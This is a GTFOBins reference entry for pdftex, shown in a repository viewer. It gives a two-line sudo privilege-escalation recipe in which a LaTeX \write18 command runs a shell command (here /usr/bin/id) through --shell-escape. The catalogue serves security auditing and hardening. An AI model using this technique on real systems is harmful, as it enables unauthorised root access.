GTFOBins.github.io/_gtfobins/pdftex.md

7 lines
280 B
Markdown
Raw Normal View History

2021-04-22 22:13:29 +02:00
description: `pdftex` has a similar behaviour as [`tex`](/gtfobins/tex/)
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
pdftex -interaction=nonstopmode --shell-escape file.tex